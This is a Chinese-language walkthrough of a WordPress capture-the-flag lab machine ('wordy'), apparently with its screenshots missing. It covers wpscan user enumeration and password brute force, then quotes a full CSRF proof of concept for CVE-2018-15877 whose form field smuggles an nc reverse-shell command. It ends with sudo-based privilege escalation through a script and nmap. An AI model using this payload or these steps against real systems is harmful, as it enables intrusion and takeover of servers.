先nmap一下:

 

 

 可以看到在22端口开放了ssh服务,在80端口开放了http服务。由于还没有任何用户的信息,所以只能从80端口入手。

针对80端口的http服务,dirb一下,发现扫描到了一个admin登录用户,点开看看:

 

 

 是wordpress的admin登录页面。针对wordpress,有专门针对wordpress的wpscan工具。目前还是没有用户名和密码,那么首先可以使用wpscan枚举用户名:

wpscan --url http://wordy -e u

 

 

 将枚举出的可能的用户名保存在username.txt中:

 

 

 先在用户名有了,密码字典在靶机的提示中有写:

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

grep分析一行信息,若当中有我们所需要的信息就将该行取出来。也就是上述命令将rockyou.txt中有k01的行都取了出来放在passwords.txt中。

这时候我们用户名和密码的字典都有了,直接用wpscan进行爆破即可,并成功破解出一对用户名和密码:

 

 

 使用mark-helpdesk01进行后台登陆(无法登录ssh):
登陆后台以后东西太多了。wordpress的漏洞很多情况下是出现在插件中的,那么我们注意到这个activity monitor:

 

 

 的确,我们通过wpsacn也可以枚举到这个插件:wpscan --url http://wordy --plugins-detection aggressive

 

 

 确定了插件存在以后searchsploit一下看看activity monitor有没有漏洞:

 

 

 确定了存在一个命令执行的漏洞,打开上述漏洞对应的描述文件(只贴出POC部分):

PoC:
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

根据POC中的指导更改url和监听ip及端口即成。因为我这边设置的是反弹回kali的shell,所以将-nlvp去掉了

连接成功:

 

 

 是一个普通用户,所以下面就是要提权了。

补充:也可以通过burpsuite抓包修改参数去反弹shell(使用burpsuite是因为前端有长度限制):

 

 当然也可以把前端的长度限制给去掉:

 

 

当前情况下还无法进行su,先要找到有哪些可利用的用户:

 

 

 在/home目录中找到如上用户。在/mark/stuff中找到了一个.txt文件,cat一下

 

 

 在其中发现了用户-密码graham-GSo7isUM1D4

直接su切换用户至graham,成功:

 

 sudo -l 查看graham用户有哪些特殊的权限,发现可以以jens用户且不使用口令的情况下使用backups.sh:

 

 看一下这个脚本是干啥的:

 

 那么在里面填上/bin/sh:

 

 然后以jens用户的身份去执行该脚本,我们就成功切换到jens用户了:

 

 再sudo -l一下,看看jens用户有哪些特殊的权限,发现可以使用nmap提权:

 

 查看一下nmap的版本。5.20版本后已经没有交互式了,需要用script来提权:

 

 先写入一段脚本,然后通过nmap的--script进行执行,最终获得root权限并获取flag:

 

 结束。

 

参考:

https://www.icode9.com/content-4-871064.html

https://www.lz80.com/20989.html